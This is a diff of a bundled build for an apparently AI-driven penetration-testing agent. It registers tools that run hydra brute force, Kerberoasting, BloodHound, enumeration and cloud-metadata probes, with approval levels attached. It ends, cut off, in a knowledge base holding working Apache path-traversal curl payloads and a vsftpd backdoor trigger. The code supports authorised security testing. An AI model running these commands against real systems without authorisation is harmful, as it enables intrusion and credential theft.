|
|
7275
|
+
},
|
|
7276
|
+
required: ["target"],
|
|
7277
|
+
execute: async (params) => {
|
|
7278
|
+
const target = params.target;
|
|
7279
|
+
const port = params.port || "3306";
|
|
7280
|
+
return await runCommand("mysql", ["-h", target, "-P", port, "-e", "SELECT VERSION(), USER(), DATABASE();"]);
|
|
7281
|
+
}
|
|
7282
|
+
},
|
|
7283
|
+
{
|
|
7284
|
+
name: TOOL_NAMES.POSTGRES_ENUM,
|
|
7285
|
+
description: "PostgreSQL enumeration",
|
|
7286
|
+
parameters: {
|
|
7287
|
+
target: { type: "string", description: "Target IP" }
|
|
7288
|
+
},
|
|
7289
|
+
required: ["target"],
|
|
7290
|
+
execute: async (params) => {
|
|
7291
|
+
const target = params.target;
|
|
7292
|
+
return await runCommand("psql", ["-h", target, "-U", "postgres", "-c", "SELECT version(); SELECT datname FROM pg_database;"]);
|
|
7293
|
+
}
|
|
7294
|
+
},
|
|
7295
|
+
{
|
|
7296
|
+
name: TOOL_NAMES.REDIS_ENUM,
|
|
7297
|
+
description: "Redis enumeration",
|
|
7298
|
+
parameters: {
|
|
7299
|
+
target: { type: "string", description: "Target IP" },
|
|
7300
|
+
port: { type: "string", description: "Port (default 6379)" }
|
|
7301
|
+
},
|
|
7302
|
+
required: ["target"],
|
|
7303
|
+
execute: async (params) => {
|
|
7304
|
+
const target = params.target;
|
|
7305
|
+
const port = params.port || "6379";
|
|
7306
|
+
return await runCommand("redis-cli", ["-h", target, "-p", port, "INFO"]);
|
|
7307
|
+
}
|
|
7308
|
+
},
|
|
7309
|
+
{
|
|
7310
|
+
name: TOOL_NAMES.DB_BRUTE,
|
|
7311
|
+
description: "Brute force database credentials",
|
|
7312
|
+
parameters: {
|
|
7313
|
+
target: { type: "string", description: "Target IP" },
|
|
7314
|
+
service: { type: "string", description: "Service (mysql, postgres, etc.)" }
|
|
7315
|
+
},
|
|
7316
|
+
required: ["target", "service"],
|
|
7317
|
+
execute: async (params) => {
|
|
7318
|
+
const target = params.target;
|
|
7319
|
+
const service = params.service || SERVICES.MYSQL;
|
|
7320
|
+
return await runCommand("hydra", [
|
|
7321
|
+
"-L",
|
|
7322
|
+
WORDLISTS.USERNAMES,
|
|
7323
|
+
"-P",
|
|
7324
|
+
WORDLISTS.COMMON_PASSWORDS,
|
|
7325
|
+
target,
|
|
7326
|
+
service
|
|
7327
|
+
]);
|
|
7328
|
+
}
|
|
7329
|
+
}
|
|
7330
|
+
];
|
|
7331
|
+
var DATABASE_CONFIG = {
|
|
7332
|
+
name: SERVICE_CATEGORIES.DATABASE,
|
|
7333
|
+
description: "Database exploitation - SQL injection, credential extraction",
|
|
7334
|
+
tools: DATABASE_TOOLS,
|
|
7335
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7336
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7337
|
+
commonPorts: [1433, 3306, 5432, 6379, 27017],
|
|
7338
|
+
commonServices: [SERVICES.MYSQL, SERVICES.POSTGRES, SERVICES.REDIS, SERVICES.MONGODB]
|
|
7339
|
+
};
|
|
7340
|
+
|
|
7341
|
+
// src/domains/ad/tools.ts
|
|
7342
|
+
var AD_TOOLS = [
|
|
7343
|
+
{
|
|
7344
|
+
name: TOOL_NAMES.BLOODHOUND_COLLECT,
|
|
7345
|
+
description: "BloodHound data collection",
|
|
7346
|
+
parameters: {
|
|
7347
|
+
target: { type: "string", description: "Target DC IP" },
|
|
7348
|
+
domain: { type: "string", description: "Domain name" }
|
|
7349
|
+
},
|
|
7350
|
+
required: ["target"],
|
|
7351
|
+
execute: async (params) => {
|
|
7352
|
+
const target = params.target;
|
|
7353
|
+
const domain = params.domain || "DOMAIN";
|
|
7354
|
+
return await runCommand("bloodhound-python", ["-c", "All", "-d", domain, target, "--zip"]);
|
|
7355
|
+
}
|
|
7356
|
+
},
|
|
7357
|
+
{
|
|
7358
|
+
name: TOOL_NAMES.KERBEROAST,
|
|
7359
|
+
description: "Kerberoasting attack",
|
|
7360
|
+
parameters: {
|
|
7361
|
+
target: { type: "string", description: "DC IP" },
|
|
7362
|
+
user: { type: "string", description: "Domain user" },
|
|
7363
|
+
password: { type: "string", description: "Password" }
|
|
7364
|
+
},
|
|
7365
|
+
required: ["target", "user", "password"],
|
|
7366
|
+
execute: async (params) => {
|
|
7367
|
+
const target = params.target;
|
|
7368
|
+
return await runCommand("GetUserSPNs.py", ["-dc-ip", target, `${params.user}:${params.password}`]);
|
|
7369
|
+
}
|
|
7370
|
+
},
|
|
7371
|
+
{
|
|
7372
|
+
name: TOOL_NAMES.LDAP_ENUM,
|
|
7373
|
+
description: "LDAP enumeration",
|
|
7374
|
+
parameters: {
|
|
7375
|
+
target: { type: "string", description: "LDAP Server" }
|
|
7376
|
+
},
|
|
7377
|
+
required: ["target"],
|
|
7378
|
+
execute: async (params) => {
|
|
7379
|
+
const target = params.target;
|
|
7380
|
+
return await runCommand("ldapsearch", ["-x", "-H", `ldap://${target}`, "-b", ""]);
|
|
7381
|
+
}
|
|
7382
|
+
}
|
|
7383
|
+
];
|
|
7384
|
+
var AD_CONFIG = {
|
|
7385
|
+
name: SERVICE_CATEGORIES.AD,
|
|
7386
|
+
description: "Active Directory and Windows domain",
|
|
7387
|
+
tools: AD_TOOLS,
|
|
7388
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7389
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7390
|
+
commonPorts: [88, 389, 445],
|
|
7391
|
+
commonServices: [SERVICES.AD, SERVICES.SMB]
|
|
7392
|
+
};
|
|
7393
|
+
|
|
7394
|
+
// src/domains/email/tools.ts
|
|
7395
|
+
var EMAIL_TOOLS = [
|
|
7396
|
+
{
|
|
7397
|
+
name: TOOL_NAMES.SMTP_ENUM,
|
|
7398
|
+
description: "SMTP user enumeration",
|
|
7399
|
+
parameters: {
|
|
7400
|
+
target: { type: "string", description: "SMTP server" }
|
|
7401
|
+
},
|
|
7402
|
+
required: ["target"],
|
|
7403
|
+
execute: async (params) => {
|
|
7404
|
+
return await runCommand("smtp-user-enum", ["-M", "VRFY", "-t", params.target]);
|
|
7405
|
+
}
|
|
7406
|
+
}
|
|
7407
|
+
];
|
|
7408
|
+
var EMAIL_CONFIG = {
|
|
7409
|
+
name: SERVICE_CATEGORIES.EMAIL,
|
|
7410
|
+
description: "Email services - SMTP, IMAP, POP3",
|
|
7411
|
+
tools: EMAIL_TOOLS,
|
|
7412
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7413
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7414
|
+
commonPorts: [25, 110, 143, 465, 587, 993, 995],
|
|
7415
|
+
commonServices: [SERVICES.SMTP, SERVICES.POP3, SERVICES.IMAP]
|
|
7416
|
+
};
|
|
7417
|
+
|
|
7418
|
+
// src/domains/remote-access/tools.ts
|
|
7419
|
+
var REMOTE_ACCESS_TOOLS = [
|
|
7420
|
+
{
|
|
7421
|
+
name: TOOL_NAMES.SSH_ENUM,
|
|
7422
|
+
description: "SSH enumeration",
|
|
7423
|
+
parameters: {
|
|
7424
|
+
target: { type: "string", description: "SSH Server" }
|
|
7425
|
+
},
|
|
7426
|
+
required: ["target"],
|
|
7427
|
+
execute: async (params) => {
|
|
7428
|
+
return await runCommand("ssh-audit", [params.target]);
|
|
7429
|
+
}
|
|
7430
|
+
},
|
|
7431
|
+
{
|
|
7432
|
+
name: TOOL_NAMES.RDP_ENUM,
|
|
7433
|
+
description: "RDP enumeration",
|
|
7434
|
+
parameters: {
|
|
7435
|
+
target: { type: "string", description: "RDP Server" }
|
|
7436
|
+
},
|
|
7437
|
+
required: ["target"],
|
|
7438
|
+
execute: async (params) => {
|
|
7439
|
+
return await runCommand("nmap", ["-p", "3389", "--script", "rdp-enum-encryption,rdp-ntlm-info", params.target]);
|
|
7440
|
+
}
|
|
7441
|
+
}
|
|
7442
|
+
];
|
|
7443
|
+
var REMOTE_ACCESS_CONFIG = {
|
|
7444
|
+
name: SERVICE_CATEGORIES.REMOTE_ACCESS,
|
|
7445
|
+
description: "Remote access services - SSH, RDP, VNC",
|
|
7446
|
+
tools: REMOTE_ACCESS_TOOLS,
|
|
7447
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7448
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7449
|
+
commonPorts: [22, 3389, 5900],
|
|
7450
|
+
commonServices: [SERVICES.SSH, SERVICES.RDP, SERVICES.VNC]
|
|
7451
|
+
};
|
|
7452
|
+
|
|
7453
|
+
// src/domains/file-sharing/tools.ts
|
|
7454
|
+
var FILE_SHARING_TOOLS = [
|
|
7455
|
+
{
|
|
7456
|
+
name: TOOL_NAMES.FTP_ENUM,
|
|
7457
|
+
description: "FTP enumeration",
|
|
7458
|
+
parameters: {
|
|
7459
|
+
target: { type: "string", description: "FTP Server" }
|
|
7460
|
+
},
|
|
7461
|
+
required: ["target"],
|
|
7462
|
+
execute: async (params) => {
|
|
7463
|
+
return await runCommand("nmap", ["-p", "21", "--script", "ftp-anon,ftp-syst", params.target]);
|
|
7464
|
+
}
|
|
7465
|
+
},
|
|
7466
|
+
{
|
|
7467
|
+
name: TOOL_NAMES.SMB_ENUM,
|
|
7468
|
+
description: "SMB enumeration",
|
|
7469
|
+
parameters: {
|
|
7470
|
+
target: { type: "string", description: "SMB Server" }
|
|
7471
|
+
},
|
|
7472
|
+
required: ["target"],
|
|
7473
|
+
execute: async (params) => {
|
|
7474
|
+
return await runCommand("enum4linux", ["-a", params.target]);
|
|
7475
|
+
}
|
|
7476
|
+
}
|
|
7477
|
+
];
|
|
7478
|
+
var FILE_SHARING_CONFIG = {
|
|
7479
|
+
name: SERVICE_CATEGORIES.FILE_SHARING,
|
|
7480
|
+
description: "File sharing protocols - SMB, FTP, NFS",
|
|
7481
|
+
tools: FILE_SHARING_TOOLS,
|
|
7482
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7483
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7484
|
+
commonPorts: [21, 139, 445, 2049],
|
|
7485
|
+
commonServices: [SERVICES.FTP, SERVICES.SMB, SERVICES.NFS]
|
|
7486
|
+
};
|
|
7487
|
+
|
|
7488
|
+
// src/domains/cloud/tools.ts
|
|
7489
|
+
var CLOUD_TOOLS = [
|
|
7490
|
+
{
|
|
7491
|
+
name: TOOL_NAMES.AWS_S3_CHECK,
|
|
7492
|
+
description: "S3 bucket security check",
|
|
7493
|
+
parameters: {
|
|
7494
|
+
bucket: { type: "string", description: "Bucket name" }
|
|
7495
|
+
},
|
|
7496
|
+
required: ["bucket"],
|
|
7497
|
+
execute: async (params) => {
|
|
7498
|
+
const bucket = params.bucket;
|
|
7499
|
+
return await runCommand("aws", ["s3", "ls", `s3://${bucket}`, "--no-sign-request"]);
|
|
7500
|
+
}
|
|
7501
|
+
},
|
|
7502
|
+
{
|
|
7503
|
+
name: TOOL_NAMES.CLOUD_META_CHECK,
|
|
7504
|
+
description: "Check cloud metadata service access",
|
|
7505
|
+
parameters: {
|
|
7506
|
+
provider: { type: "string", description: "aws, azure, or gcp" }
|
|
7507
|
+
},
|
|
7508
|
+
required: ["provider"],
|
|
7509
|
+
execute: async (params) => {
|
|
7510
|
+
const provider = params.provider;
|
|
7511
|
+
if (provider === "aws") return await runCommand("curl", ["http://169.254.169.254/latest/meta-data/"]);
|
|
7512
|
+
if (provider === "azure") return await runCommand("curl", ["-H", "Metadata:true", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"]);
|
|
7513
|
+
return await runCommand("curl", ["-H", "Metadata-Flavor: Google", "http://metadata.google.internal/computeMetadata/v1/"]);
|
|
7514
|
+
}
|
|
7515
|
+
}
|
|
7516
|
+
];
|
|
7517
|
+
var CLOUD_CONFIG = {
|
|
7518
|
+
name: SERVICE_CATEGORIES.CLOUD,
|
|
7519
|
+
description: "Cloud infrastructure - AWS, Azure, GCP",
|
|
7520
|
+
tools: CLOUD_TOOLS,
|
|
7521
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7522
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7523
|
+
commonPorts: [443],
|
|
7524
|
+
commonServices: [SERVICES.HTTP, SERVICES.HTTPS]
|
|
7525
|
+
};
|
|
7526
|
+
|
|
7527
|
+
// src/domains/container/tools.ts
|
|
7528
|
+
var CONTAINER_TOOLS = [
|
|
7529
|
+
{
|
|
7530
|
+
name: TOOL_NAMES.DOCKER_PS,
|
|
7531
|
+
description: "List running Docker containers",
|
|
7532
|
+
parameters: {
|
|
7533
|
+
host: { type: "string", description: "Docker host" }
|
|
7534
|
+
},
|
|
7535
|
+
required: ["host"],
|
|
7536
|
+
execute: async (params) => {
|
|
7537
|
+
return await runCommand("docker", ["-H", params.host, "ps"]);
|
|
7538
|
+
}
|
|
7539
|
+
},
|
|
7540
|
+
{
|
|
7541
|
+
name: TOOL_NAMES.KUBE_GET_PODS,
|
|
7542
|
+
description: "List Kubernetes pods",
|
|
7543
|
+
parameters: {
|
|
7544
|
+
context: { type: "string", description: "Kube context" }
|
|
7545
|
+
},
|
|
7546
|
+
required: ["context"],
|
|
7547
|
+
execute: async (params) => {
|
|
7548
|
+
return await runCommand("kubectl", ["--context", params.context, "get", "pods"]);
|
|
7549
|
+
}
|
|
7550
|
+
}
|
|
7551
|
+
];
|
|
7552
|
+
var CONTAINER_CONFIG = {
|
|
7553
|
+
name: SERVICE_CATEGORIES.CONTAINER,
|
|
7554
|
+
description: "Container platforms - Docker, Kubernetes",
|
|
7555
|
+
tools: CONTAINER_TOOLS,
|
|
7556
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7557
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7558
|
+
commonPorts: [2375, 2376, 5e3, 6443],
|
|
7559
|
+
commonServices: [SERVICES.DOCKER, SERVICES.KUBERNETES]
|
|
7560
|
+
};
|
|
7561
|
+
|
|
7562
|
+
// src/domains/api/tools.ts
|
|
7563
|
+
var API_TOOLS = [
|
|
7564
|
+
{
|
|
7565
|
+
name: TOOL_NAMES.API_DISCOVER,
|
|
7566
|
+
description: "API endpoint discovery - using Arjun",
|
|
7567
|
+
parameters: {
|
|
7568
|
+
target: { type: "string", description: "Target URL" }
|
|
7569
|
+
},
|
|
7570
|
+
required: ["target"],
|
|
7571
|
+
execute: async (params) => {
|
|
7572
|
+
const target = params.target;
|
|
7573
|
+
return await runCommand("arjun", ["-u", target, "-t", "20"]);
|
|
7574
|
+
}
|
|
7575
|
+
},
|
|
7576
|
+
{
|
|
7577
|
+
name: TOOL_NAMES.GRAPHQL_INTROSPECT,
|
|
7578
|
+
description: "GraphQL introspection - schema discovery",
|
|
7579
|
+
parameters: {
|
|
7580
|
+
target: { type: "string", description: "GQL Endpoint" }
|
|
7581
|
+
},
|
|
7582
|
+
required: ["target"],
|
|
7583
|
+
execute: async (params) => {
|
|
7584
|
+
const target = params.target;
|
|
7585
|
+
return await runCommand("curl", ["-X", "POST", target, "-H", "Content-Type: application/json", "-d", '{"query":"{__schema {queryType {name}}}"}']);
|
|
7586
|
+
}
|
|
7587
|
+
},
|
|
7588
|
+
{
|
|
7589
|
+
name: TOOL_NAMES.SWAGGER_PARSE,
|
|
7590
|
+
description: "Parse Swagger/OpenAPI specification",
|
|
7591
|
+
parameters: {
|
|
7592
|
+
spec: { type: "string", description: "URL to swagger.json/yaml" }
|
|
7593
|
+
},
|
|
7594
|
+
required: ["spec"],
|
|
7595
|
+
execute: async (params) => {
|
|
7596
|
+
const spec = params.spec;
|
|
7597
|
+
return await runCommand("swagger-codegen", ["generate", "-i", spec, "-l", "html2"]);
|
|
7598
|
+
}
|
|
7599
|
+
},
|
|
7600
|
+
{
|
|
7601
|
+
name: TOOL_NAMES.API_FUZZ,
|
|
7602
|
+
description: "General API fuzzing",
|
|
7603
|
+
parameters: {
|
|
7604
|
+
target: { type: "string", description: "Base API URL" },
|
|
7605
|
+
wordlist: { type: "string", description: "Wordlist path" }
|
|
7606
|
+
},
|
|
7607
|
+
required: ["target"],
|
|
7608
|
+
execute: async (params) => {
|
|
7609
|
+
const target = params.target;
|
|
7610
|
+
const wordlist = params.wordlist || WORDLISTS.API_FUZZ;
|
|
7611
|
+
return await runCommand("ffuf", ["-u", `${target}/FUZZ`, "-w", wordlist, "-mc", "all"]);
|
|
7612
|
+
}
|
|
7613
|
+
}
|
|
7614
|
+
];
|
|
7615
|
+
var API_CONFIG = {
|
|
7616
|
+
name: SERVICE_CATEGORIES.API,
|
|
7617
|
+
description: "API testing - REST, GraphQL, SOAP",
|
|
7618
|
+
tools: API_TOOLS,
|
|
7619
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7620
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7621
|
+
commonPorts: [3e3, 5e3, 8e3, 8080],
|
|
7622
|
+
commonServices: [SERVICES.HTTP, SERVICES.HTTPS]
|
|
7623
|
+
};
|
|
7624
|
+
|
|
7625
|
+
// src/domains/wireless/tools.ts
|
|
7626
|
+
var WIRELESS_TOOLS = [
|
|
7627
|
+
{
|
|
7628
|
+
name: TOOL_NAMES.WIFI_SCAN,
|
|
7629
|
+
description: "WiFi network scanning",
|
|
7630
|
+
parameters: {
|
|
7631
|
+
interface: { type: "string", description: "Wireless interface" }
|
|
7632
|
+
},
|
|
7633
|
+
required: ["interface"],
|
|
7634
|
+
execute: async (params) => {
|
|
7635
|
+
return await runCommand("iwlist", [params.interface, "scanning"]);
|
|
7636
|
+
}
|
|
7637
|
+
}
|
|
7638
|
+
];
|
|
7639
|
+
var WIRELESS_CONFIG = {
|
|
7640
|
+
name: SERVICE_CATEGORIES.WIRELESS,
|
|
7641
|
+
description: "Wireless security - WiFi, Bluetooth",
|
|
7642
|
+
tools: WIRELESS_TOOLS,
|
|
7643
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7644
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7645
|
+
commonPorts: [],
|
|
7646
|
+
commonServices: [SERVICES.WIFI, SERVICES.BLUETOOTH]
|
|
7647
|
+
};
|
|
7648
|
+
|
|
7649
|
+
// src/domains/ics/tools.ts
|
|
7650
|
+
var ICS_TOOLS = [
|
|
7651
|
+
{
|
|
7652
|
+
name: TOOL_NAMES.MODBUS_ENUM,
|
|
7653
|
+
description: "Modbus enumeration",
|
|
7654
|
+
parameters: {
|
|
7655
|
+
target: { type: "string", description: "ICS Device" }
|
|
7656
|
+
},
|
|
7657
|
+
required: ["target"],
|
|
7658
|
+
execute: async (params) => {
|
|
7659
|
+
return await runCommand("nmap", ["-p", "502", "--script", "modbus-discover", params.target]);
|
|
7660
|
+
}
|
|
7661
|
+
}
|
|
7662
|
+
];
|
|
7663
|
+
var ICS_CONFIG = {
|
|
7664
|
+
name: SERVICE_CATEGORIES.ICS,
|
|
7665
|
+
description: "Industrial control systems - Modbus, DNP3, EtherNet/IP",
|
|
7666
|
+
tools: ICS_TOOLS,
|
|
7667
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7668
|
+
defaultApproval: APPROVAL_LEVELS.BLOCK,
|
|
7669
|
+
commonPorts: [502, 2e4],
|
|
7670
|
+
commonServices: [SERVICES.MODBUS, SERVICES.DNP3]
|
|
7671
|
+
};
|
|
7672
|
+
|
|
7119
7673
|
// src/engine/tools.ts
|
|
7120
7674
|
var ToolRegistry = class {
|
|
7121
7675
|
constructor(state, scopeGuard, approvalGate, events) {
|
|
@@ -7132,7 +7686,20 @@ var ToolRegistry = class {
|
|
|
7132
7686
|
...createPentestTools(this.state),
|
|
7133
7687
|
...createAgentTools(),
|
|
7134
7688
|
...createNetworkAttackTools(),
|
|
7135
|
-
...resourceTools
|
|
7689
|
+
...resourceTools,
|
|
7690
|
+
// Domain-specific tools (§3-3)
|
|
7691
|
+
...NETWORK_TOOLS,
|
|
7692
|
+
...WEB_TOOLS,
|
|
7693
|
+
...DATABASE_TOOLS,
|
|
7694
|
+
...AD_TOOLS,
|
|
7695
|
+
...EMAIL_TOOLS,
|
|
7696
|
+
...REMOTE_ACCESS_TOOLS,
|
|
7697
|
+
...FILE_SHARING_TOOLS,
|
|
7698
|
+
...CLOUD_TOOLS,
|
|
7699
|
+
...CONTAINER_TOOLS,
|
|
7700
|
+
...API_TOOLS,
|
|
7701
|
+
...WIRELESS_TOOLS,
|
|
7702
|
+
...ICS_TOOLS
|
|
7136
7703
|
];
|
|
7137
7704
|
allTools.forEach((t) => this.tools.set(t.name, t));
|
|
7138
7705
|
}
|
|
@@ -7971,7 +8538,7 @@ var __filename2 = fileURLToPath3(import.meta.url);
|
|
|
7971
8538
|
var __dirname3 = dirname4(__filename2);
|
|
7972
8539
|
|
|
7973
8540
|
// src/engine/state-persistence.ts
|
|
7974
|
-
import { writeFileSync as writeFileSync6, readFileSync as readFileSync4, existsSync as existsSync6, readdirSync, statSync, unlinkSync as
|
|
8541
|
+
import { writeFileSync as writeFileSync6, readFileSync as readFileSync4, existsSync as existsSync6, readdirSync, statSync, unlinkSync as unlinkSync4 } from "fs";
|
|
7975
8542
|
import { join as join9 } from "path";
|
|
7976
8543
|
function saveState(state) {
|
|
7977
8544
|
const sessionsDir = WORKSPACE.SESSIONS;
|
|
@@ -8006,7 +8573,7 @@ function pruneOldSessions(sessionsDir) {
|
|
|
8006
8573
|
})).sort((a, b) => b.mtime - a.mtime);
|
|
8007
8574
|
const toDelete = sessionFiles.slice(AGENT_LIMITS.MAX_SESSION_FILES);
|
|
8008
8575
|
for (const file of toDelete) {
|
|
8009
|
-
|
|
8576
|
+
unlinkSync4(file.path);
|
|
8010
8577
|
}
|
|
8011
8578
|
} catch {
|
|
8012
8579
|
}
|
|
@@ -8974,22 +9541,22 @@ Please decide how to handle this error and continue.`;
|
|
|
8974
9541
|
/** Tools that are safe to run in parallel (read-only or per-key state mutations) */
|
|
8975
9542
|
static PARALLEL_SAFE_TOOLS = /* @__PURE__ */ new Set([
|
|
8976
9543
|
// Read-only intelligence tools
|
|
8977
|
-
|
|
8978
|
-
|
|
8979
|
-
|
|
8980
|
-
|
|
8981
|
-
|
|
8982
|
-
|
|
8983
|
-
|
|
8984
|
-
|
|
8985
|
-
|
|
8986
|
-
|
|
9544
|
+
TOOL_NAMES.GET_STATE,
|
|
9545
|
+
TOOL_NAMES.PARSE_NMAP,
|
|
9546
|
+
TOOL_NAMES.SEARCH_CVE,
|
|
9547
|
+
TOOL_NAMES.WEB_SEARCH,
|
|
9548
|
+
TOOL_NAMES.BROWSE_URL,
|
|
9549
|
+
TOOL_NAMES.READ_FILE,
|
|
9550
|
+
TOOL_NAMES.GET_OWASP_KNOWLEDGE,
|
|
9551
|
+
TOOL_NAMES.GET_WEB_ATTACK_SURFACE,
|
|
9552
|
+
TOOL_NAMES.GET_CVE_INFO,
|
|
9553
|
+
TOOL_NAMES.FILL_FORM,
|
|
8987
9554
|
// State recording (per-key mutations, no external side effects)
|
|
8988
|
-
|
|
8989
|
-
|
|
8990
|
-
|
|
8991
|
-
|
|
8992
|
-
|
|
9555
|
+
TOOL_NAMES.ADD_TARGET,
|
|
9556
|
+
TOOL_NAMES.ADD_FINDING,
|
|
9557
|
+
TOOL_NAMES.ADD_LOOT,
|
|
9558
|
+
TOOL_NAMES.UPDATE_MISSION,
|
|
9559
|
+
TOOL_NAMES.UPDATE_TODO
|
|
8993
9560
|
]);
|
|
8994
9561
|
async processToolCalls(toolCalls, progress) {
|
|
8995
9562
|
if (toolCalls.length <= 1) {
|
|
@@ -9303,6 +9870,233 @@ function getTimeAdaptiveStrategy(elapsedMs, deadlineMs) {
|
|
|
9303
9870
|
};
|
|
9304
9871
|
}
|
|
9305
9872
|
|
|
9873
|
+
// src/shared/constants/service-ports.ts
|
|
9874
|
+
var SERVICE_PORTS = {
|
|
9875
|
+
SSH: 22,
|
|
9876
|
+
FTP: 21,
|
|
9877
|
+
TELNET: 23,
|
|
9878
|
+
SMTP: 25,
|
|
9879
|
+
DNS: 53,
|
|
9880
|
+
HTTP: 80,
|
|
9881
|
+
POP3: 110,
|
|
9882
|
+
IMAP: 143,
|
|
9883
|
+
SMB_NETBIOS: 139,
|
|
9884
|
+
SMB: 445,
|
|
9885
|
+
HTTPS: 443,
|
|
9886
|
+
MSSQL: 1433,
|
|
9887
|
+
MYSQL: 3306,
|
|
9888
|
+
RDP: 3389,
|
|
9889
|
+
POSTGRESQL: 5432,
|
|
9890
|
+
REDIS: 6379,
|
|
9891
|
+
HTTP_ALT: 8080,
|
|
9892
|
+
HTTPS_ALT: 8443,
|
|
9893
|
+
MONGODB: 27017,
|
|
9894
|
+
ELASTICSEARCH: 9200,
|
|
9895
|
+
MEMCACHED: 11211,
|
|
9896
|
+
NODE_DEFAULT: 3e3,
|
|
9897
|
+
FLASK_DEFAULT: 5e3,
|
|
9898
|
+
DJANGO_DEFAULT: 8e3
|
|
9899
|
+
};
|
|
9900
|
+
var CRITICAL_SERVICE_PORTS = [
|
|
9901
|
+
SERVICE_PORTS.SSH,
|
|
9902
|
+
SERVICE_PORTS.RDP,
|
|
9903
|
+
SERVICE_PORTS.MYSQL,
|
|
9904
|
+
SERVICE_PORTS.POSTGRESQL,
|
|
9905
|
+
SERVICE_PORTS.REDIS,
|
|
9906
|
+
SERVICE_PORTS.MONGODB
|
|
9907
|
+
];
|
|
9908
|
+
var NO_AUTH_CRITICAL_PORTS = [
|
|
9909
|
+
SERVICE_PORTS.REDIS,
|
|
9910
|
+
SERVICE_PORTS.MONGODB,
|
|
9911
|
+
SERVICE_PORTS.ELASTICSEARCH,
|
|
9912
|
+
SERVICE_PORTS.MEMCACHED
|
|
9913
|
+
];
|
|
9914
|
+
var WEB_SERVICE_PORTS = [
|
|
9915
|
+
SERVICE_PORTS.HTTP,
|
|
9916
|
+
SERVICE_PORTS.HTTPS,
|
|
9917
|
+
SERVICE_PORTS.HTTP_ALT,
|
|
9918
|
+
SERVICE_PORTS.HTTPS_ALT,
|
|
9919
|
+
SERVICE_PORTS.NODE_DEFAULT,
|
|
9920
|
+
SERVICE_PORTS.FLASK_DEFAULT,
|
|
9921
|
+
SERVICE_PORTS.DJANGO_DEFAULT
|
|
9922
|
+
];
|
|
9923
|
+
var PLAINTEXT_HTTP_PORTS = [
|
|
9924
|
+
SERVICE_PORTS.HTTP,
|
|
9925
|
+
SERVICE_PORTS.HTTP_ALT,
|
|
9926
|
+
SERVICE_PORTS.NODE_DEFAULT
|
|
9927
|
+
];
|
|
9928
|
+
var DATABASE_PORTS = [
|
|
9929
|
+
SERVICE_PORTS.MYSQL,
|
|
9930
|
+
SERVICE_PORTS.POSTGRESQL,
|
|
9931
|
+
SERVICE_PORTS.MSSQL,
|
|
9932
|
+
SERVICE_PORTS.MONGODB,
|
|
9933
|
+
SERVICE_PORTS.REDIS
|
|
9934
|
+
];
|
|
9935
|
+
var SMB_PORTS = [
|
|
9936
|
+
SERVICE_PORTS.SMB,
|
|
9937
|
+
SERVICE_PORTS.SMB_NETBIOS
|
|
9938
|
+
];
|
|
9939
|
+
|
|
9940
|
+
// src/shared/constants/scoring.ts
|
|
9941
|
+
var ATTACK_SCORING = {
|
|
9942
|
+
/** Base score for all attack prioritization */
|
|
9943
|
+
BASE_SCORE: 50,
|
|
9944
|
+
/** Maximum possible score */
|
|
9945
|
+
MAX_SCORE: 100,
|
|
9946
|
+
/** Bonus for critical infrastructure services (SSH, RDP, DB, etc.) */
|
|
9947
|
+
CRITICAL_SERVICE_BONUS: 20,
|
|
9948
|
+
/** Bonus when service version is known (enables CVE lookup) */
|
|
9949
|
+
VERSION_KNOWN_BONUS: 15,
|
|
9950
|
+
/** Bonus when known critical CVE exists for the service version */
|
|
9951
|
+
CRITICAL_CVE_BONUS: 30,
|
|
9952
|
+
/** Bonus for sensitive services running without authentication */
|
|
9953
|
+
NO_AUTH_BONUS: 25,
|
|
9954
|
+
/** Bonus for plaintext HTTP on service ports (no HTTPS) */
|
|
9955
|
+
PLAINTEXT_HTTP_BONUS: 10
|
|
9956
|
+
};
|
|
9957
|
+
|
|
9958
|
+
// src/shared/utils/attack-knowledge-base.ts
|
|
9959
|
+
var SERVICE_VULN_MAP = {
|
|
9960
|
+
// Apache
|
|
9961
|
+
"apache/2.4.49": {
|
|
9962
|
+
cves: ["CVE-2021-41773"],
|
|
9963
|
+
exploits: ['curl --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"'],
|
|
9964
|
+
priority: "critical",
|
|
9965
|
+
checks: ["Path traversal to RCE"]
|
|
9966
|
+
},
|
|
9967
|
+
"apache/2.4.50": {
|
|
9968
|
+
cves: ["CVE-2021-42013"],
|
|
9969
|
+
exploits: ['curl --path-as-is "http://TARGET/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"'],
|
|
9970
|
+
priority: "critical",
|
|
9971
|
+
checks: ["Path traversal bypass"]
|
|
9972
|
+
},
|
|
9973
|
+
// SSH
|
|
9974
|
+
"openssh/7.2": {
|
|
9975
|
+
cves: ["CVE-2016-10009", "CVE-2016-10010"],
|
|
9976
|
+
exploits: ["Check for Roaming auth bypass"],
|
|
9977
|
+
priority: "medium",
|
|
9978
|
+
checks: ["Version disclosure", "Weak algorithms"]
|
|
9979
|
+
},
|
|
9980
|
+
// vsftpd
|
|
9981
|
+
"vsftpd/2.3.4": {
|
|
9982
|
+
cves: ["CVE-2011-2523"],
|
|
9983
|
+
exploits: ["Connect with username containing :) to trigger backdoor on port 6200"],
|
|
9984
|
+
priority: "critical",
|
|
9985
|
+
